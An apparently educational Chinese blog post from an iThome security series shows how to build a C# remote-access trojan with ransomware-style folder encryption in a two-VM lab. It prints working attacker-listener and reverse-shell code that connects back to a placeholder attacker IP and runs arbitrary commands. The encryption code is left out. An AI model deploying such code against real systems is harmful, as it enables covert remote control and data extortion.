iT邦幫忙

2025 iThome 鐵人賽

DAY 10
0
Security

我的30天資安攻之路防身修練:實戰×工具×AI全紀錄系列 第 10

【鐵人賽 Day10】用 C# 實作木馬+勒索軟體模擬攻擊與防禦演練

  • 分享至 

  • xImage
  •  

前言

在資訊安全領域,「木馬程式(Remote Access Trojan)」與「勒索軟體(Ransomware)」是攻擊者常用的惡意武器。木馬程式透過偷偷控制受害電腦,執行任意指令;勒索軟體則會加密受害者重要資料,逼迫支付贖金解鎖。

本篇文章示範如何用 C# 在 Windows 虛擬機中,實作一個能遠端控制的簡易木馬程序,並結合勒索軟體功能,讓你能親手體驗遠端操控、發動檔案加密到解密的完整攻防流程。重點是學習攻擊原理與防禦思維,務必在隔離的虛擬環境中操作。


環境準備

  • Windows 虛擬機(使用 Windows 10/11,建議使用微軟自帶的 Hyper-V 或 VirtualBox)
  • 兩台虛擬機,一台扮演「攻擊端」,一台做「受害端」
  • 虛擬網路設定橋接或內部網路,確保兩機能連通且受害端能正常上網,開啟瀏覽器測試網頁(如 TronClass)
  • 受害端與攻擊端皆安裝 Visual Studio 社群版(Community Edition),支援 C# 開發

木馬程式功能說明

  • 透過 TCP 連線,讓受害端主動連回攻擊端的監聽程式
  • 攻擊端能遠端下達命令並取得輸出結果(例如目錄查看、IP 設定)
  • 增加可指令受害端「開啟瀏覽器並載入指定網址」的功能
  • 用於攻防環境的演練與學習,避免實際惡意破壞

勒索軟體模擬功能說明

  • 利用 AES 對稱加密 對受害端指定資料夾內所有檔案加密,讓檔案無法正常開啟
  • 攻擊端控制加密與解密流程,密鑰只保留在攻擊端,模擬贖金解鎖機制
  • 解密指令可遠端下達,還原受害端被加密檔案
  • 演示勒索軟體如何鎖定資料並控制還原流程

程式碼說明與示範

攻擊端程式

  1. TcpListener 監聽指定 port,等待受害端連線
  2. 提供命令列介面,接受輸入指令並傳送給受害端
  3. 接收並顯示受害端回傳結果

csharp
// 攻擊端程式核心
TcpListener listener = new TcpListener(IPAddress.Any, 4444);
listener.Start();
var client = listener.AcceptTcpClient();
var stream = client.GetStream();

while (true)
{
Console.Write("cmd> ");
string cmd = Console.ReadLine();
if (string.IsNullOrEmpty(cmd)) break;

byte[] data = Encoding.UTF8.GetBytes(cmd);
stream.Write(data, 0, data.Length);

byte[] buffer = new byte[4096];
int bytesRead = stream.Read(buffer, 0, buffer.Length);
string response = Encoding.UTF8.GetString(buffer, 0, bytesRead);
Console.WriteLine(response);

}

stream.Close();
client.Close();
listener.Stop();


受害端程式

  1. TcpClient 連回攻擊端 IP 與 port

  2. 持續監聽攻擊端指令,判斷並執行:

    • 一般系統命令(cmd.exe)
    • 開啟瀏覽器載入指定 URL
    • 加密指定資料夾所有檔案(勒索模擬)
    • 解密指定資料夾所有檔案(還原機制)
  3. 回傳執行結果給攻擊端

csharp
// 受害端程式截取
using System;
using System.Net.Sockets;
using System.Text;
using System.Diagnostics;
using System.IO;
using System.Security.Cryptography;

class ReverseShell
{
static void Main()
{
using TcpClient client = new TcpClient("攻擊端IP", 4444);
using NetworkStream stream = client.GetStream();
byte[] buffer = new byte[4096];

    while (true)
    {
        int bytesRead = stream.Read(buffer, 0, buffer.Length);
        if (bytesRead == 0) break;

        string cmd = Encoding.UTF8.GetString(buffer, 0, bytesRead).Trim();
        string output;

        if (cmd.StartsWith("open "))
        {
            string url = cmd.Substring(5);
            Process.Start(new ProcessStartInfo { FileName = url, UseShellExecute = true });
            output = $"已開啟網頁 {url}";
        }
        else if (cmd.StartsWith("encrypt "))
        {
            EncryptFolder(cmd.Substring(8));
            output = "資料夾加密完成";
        }
        else if (cmd.StartsWith("decrypt "))
        {
            DecryptFolder(cmd.Substring(8));
            output = "資料夾解密完成";
        }
        else
        {
            output = ExecuteCommand(cmd);
        }

        byte[] outBytes = Encoding.UTF8.GetBytes(output);
        stream.Write(outBytes, 0, outBytes.Length);
    }
}

// 以下簡略:ExecuteCommand、EncryptFolder、DecryptFolder 與 AES 加解密等實作...

}

(操作截圖等假日補上!)


操作流程總結

  1. 攻擊端啟動程式等待連線
  2. 受害端程式執行並連回攻擊端
  3. 攻擊端下達一般命令測試遠端控制
  4. 攻擊端用 open 指令讓受害端開啟指定網頁(例如 TronClass)確認視覺效果
  5. 攻擊端下達 encrypt 指令加密受害端特定檔案資料夾,受害端檔案無法打開
  6. 攻擊端下達 decrypt 指令,成功恢復檔案正常使用

小結

本篇用 C# 打造簡易木馬與勒索軟體模擬器,搭配虛擬機完整演練,幫助你深入理解惡意軟體運作機制與遠端控制/加密流程!


額外補充

木馬程式(Remote Access Trojan,RAT)和勒索軟體在功能上有明顯的區別:

木馬程式功能

  • 木馬程式是惡意軟體的一種,會偽裝成正常或合法的程式誘騙使用者執行。
  • 它的核心功能是遠端控制受害者電腦,讓攻擊者可以透過後門不被察覺地執行命令、竊取資料、監控鍵盤輸入或甚至控制系統。
  • 攻擊者藉由木馬可以執行各種惡意操作,例如下指令操控電腦、打開後門、截屏、竊取機密等[3][8][2]。
  • 木馬程式常見功能還包括自我隱藏、自我複製、設為開機自動啟動,避免被使用者發現[2][5]。

勒索軟體功能

  • 勒索軟體最主要的功能是加密受害者的檔案(照片、文件、影片等重要資料),使得使用者無法使用這些檔案。
  • 加密後會留下贖金通知或勒索訊息,要求受害者支付贖金以換取解密金鑰。
  • 勒索軟體往往先利用木馬或後門進入系統,然後執行加密程序,達成鎖定資料、造成損害的目的[3]。
  • 這類惡意程式會運用強加密技術,且只有攻擊者持有解密密鑰,打造出阻擋使用者存取資料的威脅[剛才木馬範例中的 AES 加密部分]。

總結:

  • 木馬程式是遠端控制工具,讓攻擊者可進行多種未經授權操作。
  • 勒索軟體是用來鎖定檔案、造成直接經濟損失的攻擊手法,常依附在木馬操作下執行。

現有的專案正是結合功能:用木馬遠端控制受害端,再用勒索軟體加密資料夾檔案模擬真實攻擊流程[2][3][8]。

來源
[1] 開源木馬程式AsyncRAT衍生逾30款分支惡意軟體 - iThome https://www.ithome.com.tw/news/170093
[2] C#实现简单的木马程序(学习木马制作流程) 原创 - CSDN博客 https://blog.csdn.net/qq15577969/article/details/108685714
[3] 木馬病毒是什麼?特徵,類型全解析,7 招自救檢查法學起來! - 巨匠電腦 https://www.pcschool.com.tw/blog/it/what-is-virus
[4] 用c#來寫個木馬程式吧 https://topic.alibabacloud.com/tc/a/use-c--to-write-a-trojan-program_1_31_32327433.html
[5] 用C#实现木马程序转载 - CSDN博客 https://blog.csdn.net/weixin_33725515/article/details/90065751
[6] C# 木马功能的简单实现- 羽铉- 博客园 https://www.cnblogs.com/qiaoke/p/10062673.html
[7] 什麼是特洛伊木馬病毒? - Fortinet https://www.fortinet.com/tw/resources/cyberglossary/trojan-horse-virus
[8] 什麼是遠端存取木馬(RATs)? - TeamT5 https://teamt5.org/tw/posts/what-are-remote-access-trojans-rats/


上一篇
【DAY9】何謂木馬?C#遠控木馬🎠初步實作
系列文
我的30天資安攻之路防身修練:實戰×工具×AI全紀錄10
圖片
  熱門推薦
圖片
{{ item.channelVendor }} | {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言